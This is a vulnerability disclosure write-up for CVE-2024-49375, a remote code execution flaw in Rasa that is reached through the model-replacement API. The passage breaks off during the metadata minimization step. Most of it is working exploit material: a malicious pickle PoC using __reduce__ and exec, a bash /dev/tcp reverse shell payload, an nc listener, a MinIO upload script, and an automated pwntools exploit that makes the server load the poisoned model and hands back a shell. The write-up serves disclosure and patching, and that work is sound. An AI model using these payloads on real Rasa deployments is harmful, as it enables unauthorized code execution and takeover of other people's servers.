

---

## Rasa (un)authenticated Remote Code Execution via remote model loading (CVE-2024-49375)

You are reading a technical article which will shed some light on how the Remote Code Execution (RCE) in Rasa was discovered and how the exploit was developed. But first things first. Let me give you a short overview about the vulnerability in TL;DR section below.

### TL;DR

#### Which versions are affected?

rasa (pip) <3.6.21

rasa-pro (pip) <3.10.12, <3.9.16, <3.8.18

#### Are fixed versions available?

Yes, namely:

rasa (pip) 3.6.21

rasa-pro (pip) 3.10.12, 3.9.16, 3.8.18

#### Does Rasa need to be patched?

Yes and as fast as possible due to its severity (critical, 9.1/10, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H). Additional information on the fix and the mitigation advice can be found at [GitHub](#).

The RCE vulnerability affects systems running Rasa as follows:

- Default configuration: not affected by RCE
- [HTTP API enabled](#) (`--enable-api`): affected
  - No authentication method in use: **unauthenticated RCE**
  - Token Based Auth: **authenticated RCE**
  - JWT Based Auth: **authenticated RCE**

#### Is an exploit available?

Yes, the exploit can be found at the end of this article.

#### Links:

<https://github.com/RasaHQ/rasa-pro-security-advisories/security/advisories/GHSA-cpv4-ggrr-7j9v>

<https://nvd.nist.gov/vuln/detail/cve-2024-49375>

---

**Credits**

Julian Scheid ([julian.scheid@telekom.de](mailto:julian.scheid@telekom.de))

---

## The journey starts

The discovery of the above mentioned vulnerability started with an internal penetration test for a chatbot application. The frontend referenced the chatbot backend API. Sending a request to the backend the server replied with “Hello from Rasa: <version>”. After a short investigation the right product was found: [Rasa Pro](#).

Since I have never heard of Rasa before it was time to read the manual. Assessing the [API documentation](#) revealed that Rasa only exposes one endpoint by default (`/webhooks/<channel>/webhook`) which can be used to interact with the bot. To enable the API Rasa needs to be run with the `--enable-api` switch.

### Enabling the REST API

By default, running a Rasa server does not enable the API endpoints. Interactions with the bot can happen over the exposed `webhooks/<channel>/webhook` endpoints.

To enable the API for direct interaction with conversation trackers and other bot endpoints, add the `--enable-api` parameter to your run command:

```
rasa run --enable-api
```

There was an explicit warning in the documentation stating the access to the API needs to be restricted. Rasa offered token based and JWT based authentication.

#### CAUTION

Make sure to secure your server, either by restricting access to the server (e.g. using firewalls), or by enabling an authentication method. See [Security Considerations](#).

So far so good. But what if the API is enabled? What capabilities does it offer? Luckily, there is an [API specification](#). The status endpoint (`/status`) returns information about the model in use. This endpoint is protected by the chosen authentication method which offers a great way to check if the API is enabled as well as to check whether authentication is used or not.

### Status of the Rasa server

Information about the server and the currently loaded Rasa model.

AUTHORIZATIONS: > `TokenAuth` or `JWT`

#### Responses

- > 200  
Success
- > 401  
User is not authenticated.
- > 403  
User has insufficient permission.
- > 409  
The request conflicts with the currently loaded model.

GET `/status`

#### Response samples

200 401 403 409

Content type  
application/json

Copy

```
{
  "model_id": "75a985b7b86d442ca013d61ea4781b22",
  "model_file": "20190429-103105.tar.gz",
  "num_active_training_jobs": 2
}
```

Another endpoint which drew my attention can be used to replace the currently loaded model (`/model`). Having read that machine learning models can be used to gain code execution it seemed to be a good exercise to check whether this might be applied here as well.

### Replace the currently loaded model

Updates the currently loaded model. First, tries to load the model from the local (note: local to Rasa server) storage system. Secondly, tries to load the model from the provided model server configuration. Last, tries to load the model from the provided remote storage.

AUTHORIZATIONS: > `TokenAuth` or `JWT`

REQUEST BODY SCHEMA: `application/json`  
required

```
model_file string
  Path to model file
model_server > object (EndpointConfig)
remote_storage string
  Enum: "aws" "gcs" "azure"
  Name of remote storage system
```

PUT `/model`

#### Request samples

Payload

Content type  
application/json

Copy Expand all Collapse all

```
{
  "model_file": "/absolute-path-to-models-directory",
  "model_server": {
    "url": "string",
    "params": { },
    "headers": { },
    "basic_auth": { },
    "token": "string",
    "token_name": "string",
    "wait_time_between_pulls": 0
  },
  "remote_storage": "aws"
}
```

---

## Running Rasa

Rasa is providing a professional version as well as an open source version. The investigation was done using the [open source version](#) of Rasa 3.6.20. The following commands can be used to install a dockerized version of Rasa 3.6.20 and test if the bot was installed successfully.

```
1  ### get rasa -> g3t 50m3 c0ff33
2  ~$ git clone https://github.com/RasaHQ/rasa.git; cd rasa
3
4  ### checkout the desired version
5  ~/rasa$ git checkout tags/3.6.20
6
7  ### build docker -> g3t 50m3 c0ff33
8  ~/rasa$ make build-docker
9
10 ### create a volume
11 ~/rasa$ docker volume create rasa_app
12
13 ### initialize rasa -> model is created
14 ~/rasa$ docker run --name rasa --rm -it -v rasa_app:/app -p 5005:5005/
    tcp rasa:localdev init --no-prompt
15
16 ### check that the api is working
17 ~/rasa$ docker run --name rasa --rm -it -v rasa_app:/app -p 5005:5005/
    tcp rasa:localdev run --enable-api
18 ~/rasa$ curl -s 127.1:5005/webhooks/rest/webhook -d '{"sender":
    "1337", "message": "hello"}'
19 [{"recipient_id":"1337","text":"Hey! How are you?"}]
20
21 ### stop the api server
22 ~/rasa$ docker stop rasa
```

---

## Inspecting the model

During the initialization step Rasa creates a model “Your Rasa model is trained and saved at 'models/20250129-133851-corn-burmese.tar.gz'.”. The format of the filename is <date>-<time>-<randomname>.tar.gz where the placeholders are filled with the following python code: <date>-<time> with `time.strftime("%Y%m%d-%H%M%S")` and <randomname> with `randomname.get_name()`. When the container is running the model can be copied to the host and extracted using the following command.


```
1 #make sure to use the name of the model created during the
   initialization phase
2 ~$ docker cp rasa:/app/models/20250129-133851-corn-burmese.tar.gz rasa
   -model.tar.gz
3
4 #extract
5 ~$ mkdir rasa-model; tar -xzf rasa-model.tar.gz -C rasa-model; cd rasa
   -model
```

Let's inspect the model. It contains different file types e.g. yaml, json and tf\_model.

```
1 ~/rasa-model$ find -type f
2 ./metadata.json
3 ./components/train_CountVectorsFeaturizer3/vocabularies.pkl
4 ./components/train_CountVectorsFeaturizer3/oov_words.json
5 ./components/train_MemoizationPolicy0/memorized_turns.json
6 ./components/train_MemoizationPolicy0/featurizer.json
7 ./components/train_DIETClassifier5/DIETClassifier.label_data.pkl
8 ./components/train_DIETClassifier5/DIETClassifier.
   index_label_id_mapping.json
9 ./components/train_DIETClassifier5/DIETClassifier.tf_model.data-00000-
   of-00001
10 ./components/train_DIETClassifier5/DIETClassifier.tf_model.index
11 ./components/train_DIETClassifier5/DIETClassifier.data_example.pkl
12 ./components/train_DIETClassifier5/checkpoint
13 ./components/train_DIETClassifier5/DIETClassifier.entity_tag_specs.
   json
14 ./components/train_DIETClassifier5/DIETClassifier.sparse_feature_sizes
   .pkl
15 ./components/train_CountVectorsFeaturizer4/vocabularies.pkl
16 ./components/train_CountVectorsFeaturizer4/oov_words.json
17 ./components/train_RulePolicy1/rule_only_data.json
18 ./components/train_RulePolicy1/rule_policy.json
19 ./components/train_RulePolicy1/featurizer.json
20 ./components/train_TEDPolicy3/ted_policy.data_example.pkl
21 ./components/train_TEDPolicy3/ted_policy.priority.pkl
22 ./components/train_TEDPolicy3/checkpoint
23 ./components/train_TEDPolicy3/ted_policy.entity_tag_specs.json
24 ./components/train_TEDPolicy3/ted_policy.label_data.pkl
```

```
25 ./components/train_TEDPolicy3/ted_policy.meta.pkl
26 ./components/train_TEDPolicy3/ted_policy.tf_model.index
27 ./components/train_TEDPolicy3/ted_policy.fake_features.pkl
28 ./components/train_TEDPolicy3/ted_policy.tf_model.data-00000-of-00001
29 ./components/train_TEDPolicy3/featurizer.json
30 ./components/train_UnexpectedIntentPolicy2/unexpected_intent_policy.
    label_quantiles.pkl
31 ./components/train_UnexpectedIntentPolicy2/unexpected_intent_policy.
    label_data.pkl
32 ./components/train_UnexpectedIntentPolicy2/unexpected_intent_policy.
    data_example.pkl
33 ./components/train_UnexpectedIntentPolicy2/unexpected_intent_policy.
    entity_tag_specs.json
34 ./components/train_UnexpectedIntentPolicy2/checkpoint
35 ./components/train_UnexpectedIntentPolicy2/unexpected_intent_policy.
    tf_model.data-00000-of-00001
36 ./components/train_UnexpectedIntentPolicy2/unexpected_intent_policy.
    tf_model.index
37 ./components/train_UnexpectedIntentPolicy2/unexpected_intent_policy.
    priority.pkl
38 ./components/train_UnexpectedIntentPolicy2/unexpected_intent_policy.
    meta.pkl
39 ./components/train_UnexpectedIntentPolicy2/unexpected_intent_policy.
    fake_features.pkl
40 ./components/train_UnexpectedIntentPolicy2/featurizer.json
41 ./components/train_LexicalSyntacticFeaturizer2/feature_to_idx_dict.pkl
42 ./components/train_RegexFeaturizer1/patterns.pkl
43 ./components/finetuning_validator/fingerprints-for-validation.json
44 ./components/domain_provider/domain.yml
```

One extension which stands out is `pkl`. A short search reveals that this might be a [pickle file](#).

 **Stack Overflow**  
[https://stackoverflow.com > questions > how-to-unpack...](https://stackoverflow.com/questions/how-to-unpack...)

## How to unpack pkl file - python

Generally. Your `pkl` file is, in fact, a **serialized pickle file**, which means it has been dumped using Python's `pickle` module.

<a href="#">python - Any difference between using .pickle/<b>pkl</b> ...</a>	1 Antwort	20. Jan. 2024
<a href="#">File extension naming: .p vs <b>pkl</b> vs .pickle ...</a>	1 Antwort	12. Feb. 2017
<a href="#">What are the advantages of <b>pkl</b> file over .txt or ...</a>	2 Antworten	19. März 2018
<a href="#">Preferred (or most common) file extension for a ...</a>	1 Antwort	5. Nov. 2016

[Weitere Ergebnisse von stackoverflow.com](#)

---

The string `.label_data.pkl` occurs at multiple places within the source code. Examining the source of `rasa/core/policies/ted_policy.py` specifically, the function `pickle_load` reveals that it opens the file with the mentioned suffix and calls `pickle.load` with it as parameter.

```
1 ~/rasa$ grep -r .label_data.pkl
2 rasa/core/policies/ted_policy.py:         model_path / f"{
   model_filename}.label_data.pkl",
3 rasa/core/policies/ted_policy.py:         model_path / f"{cls.
   _metadata_filename()}.label_data.pkl"
4 rasa/nlu/classifiers/diet_classifier.py:         model_path / f
   "{file_name}.label_data.pkl",
5 rasa/nlu/classifiers/diet_classifier.py:         label_data = io_utils.
   pickle_load(model_path / f"{file_name}.label_data.pkl")
6
7 ~/rasa$ cat rasa/core/policies/ted_policy.py | grep .label_data.pkl -
   B2
8     )
9     rasa.utils.io.pickle_dump(
10         model_path / f"{model_filename}.label_data.pkl",
11     --
12     )
13     label_data = rasa.utils.io.pickle_load(
14         model_path / f"{cls._metadata_filename()}.label_data.pkl"
15
16 ~/rasa$ cat rasa/utils/io.py | grep pickle_load -A9
17 def pickle_load(filename: Union[Text, Path]) -> Any:
18     """Loads an object from a file.
19
20     Args:
21         filename: the filename to load the object from
22
23     Returns: the loaded object
24     """
25     with open(filename, "rb") as f:
26         return pickle.load(f)
```

Reviewing yet another documentation leads to `pickle`'s emphasis that it is inherently insecure.

**Warning:** The `pickle` module is not secure. Only unpickle data you trust.

It is possible to construct malicious pickle data which will **execute arbitrary code during unpickling**. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Consider signing data with `hmac` if you need to ensure that it has not been tampered with.

Safer serialization formats such as `json` may be more appropriate if you are processing untrusted data. See [Comparison with json](#).



---

## Hey TED - have you seen my pickle?

A small Proof of Concept (PoC) for [code execution using pickle](#) can be found easily. In the first PoC it will be checked whether code execution is possible in case the model was modified maliciously. `TEDPolicy._load_model_utilities` deserializes the `pkl` files. The first file ends with `.data_example.pkl` which can be seen in `rasa/core/policies/ted_policy.py`.

```
989 @classmethod
990 def _load_model_utilities(cls, model_path: Path) -> Dict[Text, Any]:
991     """Loads model's utility attributes.
992
993     Args:
994         model_path: Path where model is to be persisted.
995     """
996     tf_model_file = model_path / f"{cls._metadata_filename()}.tf_model
997
998     loaded_data = rasa.utils.io.pickle_load(
999         model_path / f"{cls._metadata_filename()}.data_example.pkl"
```

The PoC which modifies the `.data_example.pkl` can be found below.

```
1 ~$ cat poc.py
2 import pickle
3
4 payload = f"import os;os.system(\"touch /tmp/3xpl01t3d\")"
5
6 #pickle payload
7 class EXEC:
8     def __reduce__(self):
9         return exec, (payload,)
10
11 open("rasa-model/components/train_TEDPolicy3/ted_policy.data_example.
    pkl", "wb").write(pickle.dumps(EXEC()))
```

After executing the PoC the model needs to be packed and copied. Rasa loads the most recent model.

```
1 ~$ python3 poc.py
2
3 #pack the model
4 ~/rasa-model$ tar -czf 99991231-133700-3xpl01t.tar.gz components/
    metadata.json
5
6 #transfer the model (the container needs to be running)
7 ~/rasa-model$ docker cp 99991231-133700-3xpl01t.tar.gz rasa:/app/
    models/
```

---

Restart the container and check whether the exploit was successful or not. It can be seen that the model is being loaded. Right afterwards there is an error “Error initializing graph component **for** node run\_TEDPolicy3.” but the PoC code was executed.

```
1 #stop
2 ~/rasa-model$ docker stop rasa
3
4 #start
5 ~/rasa-model$ docker run --name rasa --rm -it -v rasa_app:/app -p
  5005:5005/tcp rasa:localdev run --enable-api
6 ...
7 2025-01-30 13:50:50 INFO      root - Starting Rasa server on http
  ://0.0.0.0:5005
8 2025-01-30 13:50:51 INFO      rasa.core.processor - Loading model
  models/99991231-133700-3xpl01t.tar.gz...
9 2025-01-30 13:51:06 WARNING   rasa.shared.utils.common - The
  Unexpected Intent Policy is currently experimental and might change
  or be removed in the future - Please share your feedback on it in
  the forum (https://forum.rasa.com) to help us make this feature
  ready for production.
10 2025-01-30 13:51:06 ERROR     rasa.engine.graph - Error initializing
  graph component for node run_TEDPolicy3.
11 2025-01-30 13:51:07 ERROR     rasa.core.agent - Could not load model
  due to No user features specified. Cannot train 'TED' model..
12 Traceback (most recent call last):
13   File "/opt/venv/lib/python3.10/site-packages/rasa/core/agent.py",
14     line 254, in load_agent
15     agent.load_model(model_path)
16   File "/opt/venv/lib/python3.10/site-packages/rasa/core/agent.py",
17     line 352, in load_model
18     self.processor = MessageProcessor(
19   File "/opt/venv/lib/python3.10/site-packages/rasa/core/processor.py"
20     , line 105, in __init__
21     self.model_filename, self.model_metadata, self.graph_runner = self
22     ._load_model(
23   File "/opt/venv/lib/python3.10/site-packages/rasa/core/processor.py"
24     , line 142, in _load_model
25     metadata, runner = loader.load_predict_graph_runner(
26   File "/opt/venv/lib/python3.10/site-packages/rasa/engine/loader.py",
27     line 29, in load_predict_graph_runner
28     runner = graph_runner_class.create(
29   File "/opt/venv/lib/python3.10/site-packages/rasa/engine/runner/dask
30     .py", line 51, in create
31     return cls(graph_schema, model_storage, execution_context, hooks)
32   File "/opt/venv/lib/python3.10/site-packages/rasa/engine/runner/dask
33     .py", line 37, in __init__
34     self._instantiated_nodes: Dict[Text, GraphNode] = self.
35     _instantiate_nodes(
36   File "/opt/venv/lib/python3.10/site-packages/rasa/engine/runner/dask
37     .py", line 60, in _instantiate_nodes
```

```

28     return {
29         File "/opt/venv/lib/python3.10/site-packages/rasa/engine/runner/dask
        .py", line 61, in <dictcomp>
30         node_name: GraphNode.from_schema_node(
31         File "/opt/venv/lib/python3.10/site-packages/rasa/engine/graph.py",
        line 566, in from_schema_node
32         return cls(
33         File "/opt/venv/lib/python3.10/site-packages/rasa/engine/graph.py",
        line 392, in __init__
34         self._load_component()
35         File "/opt/venv/lib/python3.10/site-packages/rasa/engine/graph.py",
        line 403, in _load_component
36         self._component: GraphComponent = constructor( # type: ignore[no-
        redef]
37         File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/
        ted_policy.py", line 1052, in load
38         return cls._load(
39         File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/
        ted_policy.py", line 1096, in _load
40         model = cls._load_tf_model(
41         File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/
        ted_policy.py", line 1145, in _load_tf_model
42         model = cls.model_class().load(
43         File "/opt/venv/lib/python3.10/site-packages/rasa/utils/tensorflow/
        models.py", line 436, in load
44         model = cls(*args, **kwargs)
45         File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/
        ted_policy.py", line 1208, in __init__
46         super().__init__("TED", config, data_signature, label_data)
47         File "/opt/venv/lib/python3.10/site-packages/rasa/utils/tensorflow/
        models.py", line 577, in __init__
48         self._check_data()
49         File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/
        ted_policy.py", line 1236, in _check_data
50         raise RasaException(
51         rasa.shared.exceptions.RasaException: No user features specified.
        Cannot train 'TED' model.
52 2025-01-30 13:51:07 INFO      root - Rasa server is up and running.
53
54 #check for proof
55 ~/rasa-model$ docker exec -it rasa bash
56 rasa@a9b4aa7044e0:~$ ls -al /tmp/3xpl01t3d
57 -rw-r--r-- 1 rasa root 0 Jan 30 13:51 /tmp/3xpl01t3d

```

---

Getting a reverse shell is likewise easy. Just change the `payload` in the `poc.py` and repeat the steps again.

```
1 #adapted payload
2 #192.168.0.1 is the ip of the docker interface on the host
3 payload = f"import os;os.system(\"bash -c 'bash -i >& /dev/tcp
  /192.168.0.1/1337 0>&1' &\")"
```

```
1 #the adapted poc
2 ~$ cat poc.py
3 import pickle
4
5 payload = f"import os;os.system(\"bash -c 'bash -i >& /dev/tcp
  /192.168.0.1/1337 0>&1' &\")"
6
7 #pickle payload
8 class EXEC:
9     def __reduce__(self):
10         return exec, (payload,)
11
12 open("rasa-model/components/train_TEDPolicy3/ted_policy.data_example.
  pkl", "wb").write(pickle.dumps(EXEC()))
```

Don't forget to open a listener before starting Rasa.

```
1 #start the listener
2 ~$ nc -vnlp 1337
3 Listening on 0.0.0.0 1337
4 ...
5
6 #pack and upload the model -> readers exercise
7
8 #start rasa and wait for the reverse shell to connect
9 ~$ nc -vnlp 1337
10 Listening on 0.0.0.0 1337
11 Connection received on 192.168.0.2 51710
12 rasa@44b0c0afb0cc:~$ id
13 id
14 uid=1001(rasa) gid=0(root) groups=0(root)
```

---

## Going fully remote

As we already know, Rasa allows to replace the currently loaded model. Furthermore, it is possible to define a remote location where Rasa can find the model. Offered options are [AWS](#), [GCP](#) and [AZURE](#). As I didn't want to rely on the cloud providers during exploit development, I used [MinIO](#), that is a project which is fully compatible with Simple Storage Service (S3) offered by AWS. Thus the plan is laid out as follows:

- Create a malicious model which allows RCE and creates a reverse shell
- Upload the model to MinIO
- Set up a listener
- Tell Rasa to get the malicious model
- Wait for the reverse shell

The steps to create a malicious model have been explained earlier. The next step is to get MinIO up and running.

```
1 #ensure to stop rasa first
2 ~$ docker run --name minio --rm -p 9000:9000 -p 9001:9001 -e
   MINIO_ROOT_USER=minioadmin -e MINIO_ROOT_PASSWORD=minioadmin quay.
   io/minio/minio server /data --console-address :9001
3 ...
4 API: http://192.168.0.2:9000 http://127.0.0.1:9000
5 WebUI: http://192.168.0.2:9001 http://127.0.0.1:9001
6 ...
```

MinIO offers a python API which will be used to upload the model. The policy ensures that anybody can retrieve the model.

```
1 #ensure to install minio
2 ~$ pip install minio
```

```
1 ~$ cat upload.py
2 from minio import Minio
3 import json
4
5 model = "99991231-133700-3xpl01t.tar.gz"
6 bucket = "3xpl01t"
7 miniomodelpath = f"/{bucket}/{model}"
8
9 minioclient = Minio("192.168.0.2:9000", "minioadmin", "minioadmin",
   secure=False)
10 minioclient.make_bucket(bucket)
11
12 policy = {
```

```

13  "Version": "2012-10-17",
14  "Statement": [
15    {
16      "Effect": "Allow",
17      "Principal": {"AWS": "*"},
18      "Action": [
19        "s3:GetObject"
20      ],
21      "Resource": [
22        f"arn:aws:s3:::{bucket}/{model}"
23      ]
24    }
25  ]
26 }
27
28 minioclient.set_bucket_policy(bucket, json.dumps(policy))
29
30 minioclient.fput_object(bucket, model, "rasa-model/" + model)


```

```


1 #upload the model
2 ~$ python3 upload.py

```

The bucket 3xpl01t was created.

Name	Objects	Size	Access
 3xpl01t	1	23.9 MiB	R/W

And the malicious model was uploaded.

<input type="checkbox"/> ▲ Name	Last Modified	Size
<input type="checkbox"/>  99991231-133700-3xpl01t.tar.gz	Today, 08:04	23.9 MiB

---

Now the final steps are to set up a listener, tell Rasa to load the model and to catch the shell.

```
1 #listener
2 ~$ nc -vnlp 1337
3 Listening on 0.0.0.0 1337
4
5 #remove the previous malicious model
6 #ensure the rasa container is running
7 ~$ docker exec -it rasa rm -f /app/models/99991231-133700-3xpl01t.tar.
  gz
8
9 #start rasa
10 ~$ docker run --name rasa --rm -it -v rasa_app:/app -p 5005:5005/tcp
    rasa:localdev run --enable-api
11 ...
12 2025-01-31 10:41:18 INFO      root - Starting Rasa server on http
    ://0.0.0.0:5005
13 2025-01-31 10:41:19 INFO      rasa.core.processor - Loading model
    models/20250129-133851-corn-burmese.tar.gz...
14 2025-01-31 10:41:35 WARNING   rasa.shared.utils.common - The
    Unexpected Intent Policy is currently experimental and might change
    or be removed in the future - Please share your feedback on it in
    the forum (https://forum.rasa.com) to help us make this feature
    ready for production.
15 2025-01-31 10:41:43 INFO      root - Rasa server is up and running.
16
17 #ensure minio, rasa and the reverse shell listener are running
18 #instruct rasa to load the model
19 ~$ curl -s 127.1:5005/model -X PUT -d '{"model_server": {"url": "http
    ://192.168.0.2:9000/3xpl01t/99991231-133700-3xpl01t.tar.gz"}, "
    remote_storage": "aws"}'
20
21 #the rasa server logs the request
22 ...
23 2025-01-31 11:17:06 INFO      rasa.core.processor - Loading model /tmp
    /tmpj7e64563/model.tar.gz...
24 2025-01-31 11:17:19 WARNING   rasa.shared.utils.common - The
    Unexpected Intent Policy is currently experimental and might change
    or be removed in the future - Please share your feedback on it in
    the forum (https://forum.rasa.com) to help us make this feature
    ready for production.
25 2025-01-31 11:17:19 ERROR     rasa.engine.graph - Error initializing
    graph component for node run_TEDPolicy3.
26 2025-01-31 11:17:19 ERROR     rasa.core.agent - Failed to update model
    . The previous model will stay loaded instead.
27 Traceback (most recent call last):
28   File "/opt/venv/lib/python3.10/site-packages/rasa/core/agent.py",
    line 86, in _update_model_from_server
29     _load_and_set_updated_model(agent, temporary_directory,
    new_fingerprint)
30   File "/opt/venv/lib/python3.10/site-packages/rasa/core/agent.py",
```

```

    line 69, in _load_and_set_updated_model
31     agent.load_model(model_directory, fingerprint)
32 File "/opt/venv/lib/python3.10/site-packages/rasa/core/agent.py",
    line 352, in load_model
33     self.processor = MessageProcessor(
34 File "/opt/venv/lib/python3.10/site-packages/rasa/core/processor.py"
    , line 105, in __init__
35     self.model_filename, self.model_metadata, self.graph_runner = self
    ._load_model(
36 File "/opt/venv/lib/python3.10/site-packages/rasa/core/processor.py"
    , line 142, in _load_model
37     metadata, runner = loader.load_predict_graph_runner(
38 File "/opt/venv/lib/python3.10/site-packages/rasa/engine/loader.py",
    line 29, in load_predict_graph_runner
39     runner = graph_runner_class.create(
40 File "/opt/venv/lib/python3.10/site-packages/rasa/engine/runner/dask
    .py", line 51, in create
41     return cls(graph_schema, model_storage, execution_context, hooks)
42 File "/opt/venv/lib/python3.10/site-packages/rasa/engine/runner/dask
    .py", line 37, in __init__
43     self._instantiated_nodes: Dict[Text, GraphNode] = self.
    _instantiate_nodes(
44 File "/opt/venv/lib/python3.10/site-packages/rasa/engine/runner/dask
    .py", line 60, in _instantiate_nodes
45     return {
46 File "/opt/venv/lib/python3.10/site-packages/rasa/engine/runner/dask
    .py", line 61, in <dictcomp>
47     node_name: GraphNode.from_schema_node(
48 File "/opt/venv/lib/python3.10/site-packages/rasa/engine/graph.py",
    line 566, in from_schema_node
49     return cls(
50 File "/opt/venv/lib/python3.10/site-packages/rasa/engine/graph.py",
    line 392, in __init__
51     self._load_component()
52 File "/opt/venv/lib/python3.10/site-packages/rasa/engine/graph.py",
    line 403, in _load_component
53     self._component: GraphComponent = constructor( # type: ignore[no-
    redef]
54 File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/
    ted_policy.py", line 1052, in load
55     return cls._load(
56 File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/
    ted_policy.py", line 1096, in _load
57     model = cls._load_tf_model(
58 File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/
    ted_policy.py", line 1145, in _load_tf_model
59     model = cls.model_class().load(
60 File "/opt/venv/lib/python3.10/site-packages/rasa/utils/tensorflow/
    models.py", line 436, in load
61     model = cls(*args, **kwargs)
62 File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/

```



---

```
    ted_policy.py", line 1208, in __init__
63     super().__init__("TED", config, data_signature, label_data)
64     File "/opt/venv/lib/python3.10/site-packages/rasa/utils/tensorflow/
        models.py", line 577, in __init__
65     self._check_data()
66     File "/opt/venv/lib/python3.10/site-packages/rasa/core/policies/
        ted_policy.py", line 1236, in _check_data
67     raise RasaException(
68     rasa.shared.exceptions.RasaException: No user features specified.
        Cannot train 'TED' model.
69     2025-01-31 11:17:19 ERROR    rasa.server - Agent with name 'None'
        could not be loaded.
70     ...
71
72     #catch shell -> check nc
73     Connection received on 192.168.0.3 37808
74     rasa@1418f6df4e33:~$ id
75     id
76     uid=1001(rasa) gid=0(root) groups=0(root)
```

At this stage we do have an unauthenticated RCE under certain conditions. The RCE vulnerability affects systems running Rasa as follows:

- Default configuration: not affected by RCE
- [HTTP API enabled](#) (`--enable-api`): affected
  - No authentication method in use: **unauthenticated RCE**
  - Token Based Auth: **authenticated RCE**
  - JWT Based Auth: **authenticated RCE**

---

## Minimizing the PoC

The model which was created during the initialization phase is quite big and contains components not required by the exploit.

```
1 #number of lines
2 ~/rasa-model$ wc -l metadata.json
3 734
```

In the PoC the `ted_policy` was exploited. A Rasa model consists of a `metadata.json` and a `components/` folder. Going through the files it becomes clear that `metadata.json` defines how the model is loaded. Due to the size of the file only parts will be included here. There are 3 bigger sections: `domain`, `train_schema` and `predict_schema`.

```
1 ~/rasa-model$ cat metadata.json
2 {
3   "domain": {
4     ...
5   },
6   "trained_at": "2025-01-29T13:38:53.167681",
7   "model_id": "f0e86ec5cf4843a4b95b4e0441c6a6ec",
8   "assistant_id": "placeholder_default",
9   "rasa_open_source_version": "3.6.20",
10  "train_schema": {
11    ...
12  },
13  "predict_schema": {
14    ...
15  },
16  "training_type": 3,
17  "project_fingerprint": null,
18  "core_target": "select_prediction",
19  "nlu_target": "run_RegexMessageHandler",
20  "language": "en",
21  "spaces": null
22 }
```

---

Searching for `ted` respectively `ted_policy` the important parts can be narrowed down. The `ted_policy` appears in `run_TEDPolicy3` and `train_TEDPolicy3`. The latter also appears in `run_TEDPolicy3`. The run policy can be found in `select_prediction` in `policy3`. And `select_prediction` can be traced to `core_target`. From there the iterative process of removing seemingly useless things evolved. As long as the PoC still works, unnecessary things were removed obviously.

```
1 ~/rasa-model$ cat metadata.json
2 {
3   "domain": { ... },
4   ...
5   "train_schema": {
6     "nodes": {
7       ...
8       "train_TEDPolicy3": {
9         ...
10        "uses": "rasa.core.policies.ted_policy.TEDPolicy",
11        ...
12      }
13    }
14  },
15  "predict_schema": {
16    "nodes": {
17      ...
18      "run_TEDPolicy3": {
19        ...
20        "uses": "rasa.core.policies.ted_policy.TEDPolicy",
21        ...
22        "resource": {
23          "name": "train_TEDPolicy3",
24          "output_fingerprint": "172f1985cb334fc78ed5b01e5925a952"
25        }
26      },
27      "rule_only_data_provider": { ... },
28      "select_prediction": {
29        "needs": {
30          ...
31          "policy3": "run_TEDPolicy3",
32          ...
33        },
34        ...
35      }
36    }
37  },
38  ...
39  "core_target": "select_prediction",
40  ...
41 }
```

---

To speed up the process it made sense to automate the exploit stages.

```
1 #install requirements
2 ~$ pip install minio pwntools requests
```

```
1 ~$ cat upload-exploit.py
2 from minio import Minio
3 from pwn import *
4 import requests
5 import json
6 import os
7
8 model = "99991231-133700-3xpl01t.tar.gz"
9 bucket = "3xpl01t"
10 miniomodelpath = f"/{bucket}/{model}"
11 model_folder = "rasa-model/"
12
13 os.system(f"cd {model_folder}; tar -czvf {model} components/ metadata.
14         json")
15 minioclient = Minio("192.168.0.2:9000", "minioadmin", "minioadmin",
16         secure=False)
17 minioclient.fput_object(bucket, model, model_folder + model)
18
19 l = listen(1337)
20 requests.put(f"http://127.1:5005/model", json={"model_server": {"url":
21         "http://192.168.0.2:9000/3xpl01t/99991231-133700-3xpl01t.tar.gz"},
22         "remote_storage": "aws"})
23 l.wait_for_connection()
24 l.interactive()
```

```
1 #ensure minio and rasa are running
2 ~$ python3 upload-exploit.py
```

---

The content of `domain` and `assistant_id` can be safely removed. Next, let's have a look at the `"nlu_target": "run_RegexMessageHandler"` and follow the reference `run_RegexMessageHandler` which needs `run_FallbackClassifier8`. The complete chain consists of:

- `run_RegexMessageHandler`
- `run_FallbackClassifier8`
- `run_ResponseSelector7`
- `run_EntitySynonymMapper6`
- `run_DIETClassifier5`
- `run_CountVectorsFeaturizer4`
- `run_CountVectorsFeaturizer3`
- `run_LexicalSyntacticFeaturizer2`
- `run_RegexFeaturizer1`
- `run_WhitespaceTokenizer0`
- `nlu_message_converter`

Remove all the `nodes` which reference a name from the list above from `predict_schema` and change `"nlu_target": "run_RegexMessageHandler"` to `"nlu_target": "null"`. In `select_prediction.needs` section we only need `run_TEDPolicy3`. Remove `run_MemoizationPolicy0`, `run_RulePolicy1`, `run_UnexpectTEDIntentPolicy2`, `domain_provider` and `__tracker__`.

Continuing with this idea one minimized version of `metadata.json` can look like this:

```
1 ~$ cat rasa-model/metadata.json
2 {
3   "domain": {},
4   "trained_at": "2025-01-29T13:38:53.167681",
5   "model_id": "f0e86ec5cf4843a4b95b4e0441c6a6ec",
6   "rasa_open_source_version": "3.6.20",
7   "train_schema": {
8     "nodes": {
9     }
10  },
11  "predict_schema": {
12    "nodes": {
13      "run_TEDPolicy3": {
14        "needs": {},
15        "uses": "rasa.core.policies.ted_policy.TEDPolicy",
16        "constructor_name": "load",
17        "fn": "predict_action_probabilities",
18        "config": {},
19        "eager": true,
20        "is_target": false,
```

```

21     "is_input": false,
22     "resource": {
23         "name": "train_TEDPolicy3",
24         "output_fingerprint": "172f1985cb334fc78ed5b01e5925a952"
25     }
26 },
27 "select_prediction": {
28     "needs": {
29         "policy3": "run_TEDPolicy3"
30     },
31     "uses": "rasa.core.policies.ensemble.
           DefaultPolicyPredictionEnsemble",
32     "constructor_name": "load",
33     "fn": "combine_predictions_from_kwargs",
34     "config": {},
35     "eager": true,
36     "is_target": false,
37     "is_input": false,
38     "resource": null
39 }
40 }
41 },
